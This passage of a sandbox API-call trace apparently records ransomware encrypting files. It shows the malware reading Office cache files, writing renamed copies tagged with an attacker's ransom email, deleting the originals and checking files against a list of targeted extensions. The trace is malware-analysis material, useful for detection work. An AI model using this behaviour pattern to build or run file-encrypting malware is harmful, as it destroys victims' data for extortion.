dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0098.430] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0x0) returned 1 [0098.430] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.430] ReadFile (in: hFile=0x224, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.493] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.493] ReadFile (in: hFile=0x224, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.526] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0098.526] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.526] ReadFile (in: hFile=0x224, lpBuffer=0x35d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x35d0058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.548] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.548] WriteFile (in: hFile=0x224, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2bcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0099.436] SetEndOfFile (hFile=0x224) returned 1 [0099.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b0 [0099.436] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.436] WriteFile (in: hFile=0x224, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.439] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.439] WriteFile (in: hFile=0x224, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.447] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.447] WriteFile (in: hFile=0x224, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b0 | out: hHeap=0x5b0000) returned 1 [0099.450] CloseHandle (hObject=0x224) returned 1 [0099.451] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0099.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.452] lstrlenW (lpString=".doc") returned 4 [0099.452] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0099.452] lstrlenW (lpString=".docx") returned 5 [0099.452] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0099.452] lstrlenW (lpString=".pdf") returned 4 [0099.452] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0099.452] lstrlenW (lpString=".xls") returned 4 [0099.452] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0099.452] lstrlenW (lpString=".xlsx") returned 5 [0099.452] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0099.452] lstrlenW (lpString=".ppt") returned 4 [0099.452] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0099.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.452] lstrlenW (lpString=".zip") returned 4 [0099.452] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0099.452] lstrlenW (lpString=".rar") returned 4 [0099.452] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0099.452] lstrlenW (lpString=".bz2") returned 4 [0099.452] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0099.452] lstrlenW (lpString=".7z") returned 3 [0099.453] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0099.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.453] lstrlenW (lpString=".dbf") returned 4 [0099.453] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0099.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.453] lstrlenW (lpString=".1cd") returned 4 [0099.453] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0099.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.453] lstrlenW (lpString=".jpg") returned 4 [0099.453] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0099.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.453] lstrlenW (lpString=".doc") returned 4 [0099.453] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0099.453] lstrlenW (lpString=".docx") returned 5 [0099.453] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0099.453] lstrlenW (lpString=".pdf") returned 4 [0099.453] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0099.453] lstrlenW (lpString=".xls") returned 4 [0099.453] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0099.453] lstrlenW (lpString=".xlsx") returned 5 [0099.453] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0099.453] lstrlenW (lpString=".ppt") returned 4 [0099.453] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0099.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.453] lstrlenW (lpString=".zip") returned 4 [0099.453] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0099.453] lstrlenW (lpString=".rar") returned 4 [0099.453] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0099.453] lstrlenW (lpString=".bz2") returned 4 [0099.453] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0099.453] lstrlenW (lpString=".7z") returned 3 [0099.454] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0099.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.454] lstrlenW (lpString=".dbf") returned 4 [0099.454] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0099.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.454] lstrlenW (lpString=".1cd") returned 4 [0099.454] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0099.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0099.454] lstrlenW (lpString=".jpg") returned 4 [0099.454] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0099.454] lstrcmpiW (lpString1=".exe", lpString2=".data") returned 1 [0099.454] lstrlenW (lpString="ose.exe") returned 7 [0099.454] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0099.455] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=174440) returned 1 [0099.455] CloseHandle (hObject=0x224) returned 1 [0099.455] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0099.456] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0099.456] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0099.456] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.456] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.456] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0099.457] GetLastError () returned 0x0 [0099.457] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0099.778] WriteFile (in: hFile=0x1c8, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0099.782] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.782] WriteFile (in: hFile=0x1c8, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0099.783] SetEndOfFile (hFile=0x1c8) returned 1 [0099.783] CloseHandle (hObject=0x1c8) returned 1 [0099.783] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.783] SetEndOfFile (hFile=0x224) returned 1 [0099.785] CloseHandle (hObject=0x224) returned 1 [0099.785] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0099.787] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0099.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.789] lstrlenW (lpString=".doc") returned 4 [0099.789] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0099.789] lstrlenW (lpString=".docx") returned 5 [0099.789] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0099.789] lstrlenW (lpString=".pdf") returned 4 [0099.790] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0099.790] lstrlenW (lpString=".xls") returned 4 [0099.790] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0099.790] lstrlenW (lpString=".xlsx") returned 5 [0099.790] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0099.791] lstrlenW (lpString=".ppt") returned 4 [0099.791] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0099.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.791] lstrlenW (lpString=".zip") returned 4 [0099.791] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0099.792] lstrlenW (lpString=".rar") returned 4 [0099.792] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0099.792] lstrlenW (lpString=".bz2") returned 4 [0099.792] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0099.793] lstrlenW (lpString=".7z") returned 3 [0099.793] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0099.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.793] lstrlenW (lpString=".dbf") returned 4 [0099.793] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0099.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.794] lstrlenW (lpString=".1cd") returned 4 [0099.794] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0099.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.795] lstrlenW (lpString=".jpg") returned 4 [0099.795] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0099.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.796] lstrlenW (lpString=".doc") returned 4 [0099.796] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0099.796] lstrlenW (lpString=".docx") returned 5 [0099.797] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0099.797] lstrlenW (lpString=".pdf") returned 4 [0099.797] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0099.797] lstrlenW (lpString=".xls") returned 4 [0099.798] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0099.798] lstrlenW (lpString=".xlsx") returned 5 [0099.798] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0099.798] lstrlenW (lpString=".ppt") returned 4 [0099.798] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0099.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.799] lstrlenW (lpString=".zip") returned 4 [0099.799] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0099.799] lstrlenW (lpString=".rar") returned 4 [0099.800] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0099.800] lstrlenW (lpString=".bz2") returned 4 [0099.800] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0099.800] lstrlenW (lpString=".7z") returned 3 [0099.801] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0099.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.801] lstrlenW (lpString=".dbf") returned 4 [0099.801] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0099.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.801] lstrlenW (lpString=".1cd") returned 4 [0099.801] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0099.801] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0099.801] lstrlenW (lpString=".jpg") returned 4 [0099.801] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0099.801] lstrcmpiW (lpString1=".dll", lpString2=".data") returned 1 [0099.801] lstrlenW (lpString="PidGenX.dll") returned 11 [0099.801] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0099.803] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=1463568) returned 1 [0099.803] CloseHandle (hObject=0x224) returned 1 [0099.803] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0099.803] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0099.803] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0099.803] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.803] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.803] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0099.804] GetLastError () returned 0x0 [0099.804] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0099.900] WriteFile (in: hFile=0x1c8, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0100.149] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0x65520, lpOverlapped=0x0) returned 1 [0100.170] WriteFile (in: hFile=0x1c8, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0100.493] ReadFile (in: hFile=0x224, lpBuffer=0x3550020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesRead=0x2bcfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.493] WriteFile (in: hFile=0x1c8, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0100.493] SetEndOfFile (hFile=0x1c8) returned 1 [0100.909] CloseHandle (hObject=0x1c8) returned 1 [0100.910] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.910] SetEndOfFile (hFile=0x224) returned 1 [0100.914] CloseHandle (hObject=0x224) returned 1 [0100.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0100.914] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) Thread: id = 11 os_tid = 0x138 [0073.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x655478 [0073.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x665480 [0073.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023b0 [0073.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5ea3a0 [0073.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023c8 [0073.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3660020 [0073.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023e0 [0073.981] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6023e0, Size=0x20) returned 0x609700 [0073.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023e0 [0073.982] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6023e0, Size=0x20) returned 0x6096d8 [0073.982] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.982] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.983] Wow64DisableWow64FsRedirection (in: OldValue=0x2ccff58 | out: OldValue=0x2ccff58*=0x0) returned 1 [0073.983] lstrlenW (lpString="kernel32.dll") returned 12 [0073.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609700 | out: hHeap=0x5b0000) returned 1 [0073.983] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0073.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6096d8 | out: hHeap=0x5b0000) returned 1 [0073.983] Sleep (dwMilliseconds=0x64) [0074.223] lstrcmpiW (lpString1=".LOG", lpString2=".data") returned 1 [0074.223] lstrlenW (lpString="BCD.LOG") returned 7 [0074.223] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.223] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.223] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.223] lstrlenW (lpString=".doc") returned 4 [0074.223] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0074.223] lstrlenW (lpString=".docx") returned 5 [0074.223] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0074.224] lstrlenW (lpString=".pdf") returned 4 [0074.224] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0074.224] lstrlenW (lpString=".xls") returned 4 [0074.224] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0074.224] lstrlenW (lpString=".xlsx") returned 5 [0074.224] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0074.224] lstrlenW (lpString=".ppt") returned 4 [0074.224] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0074.224] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.224] lstrlenW (lpString=".zip") returned 4 [0074.224] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0074.224] lstrlenW (lpString=".rar") returned 4 [0074.224] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0074.224] lstrlenW (lpString=".bz2") returned 4 [0074.224] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0074.224] lstrlenW (lpString=".7z") returned 3 [0074.224] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0074.224] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.224] lstrlenW (lpString=".dbf") returned 4 [0074.225] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0074.225] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.225] lstrlenW (lpString=".1cd") returned 4 [0074.225] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0074.225] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.225] 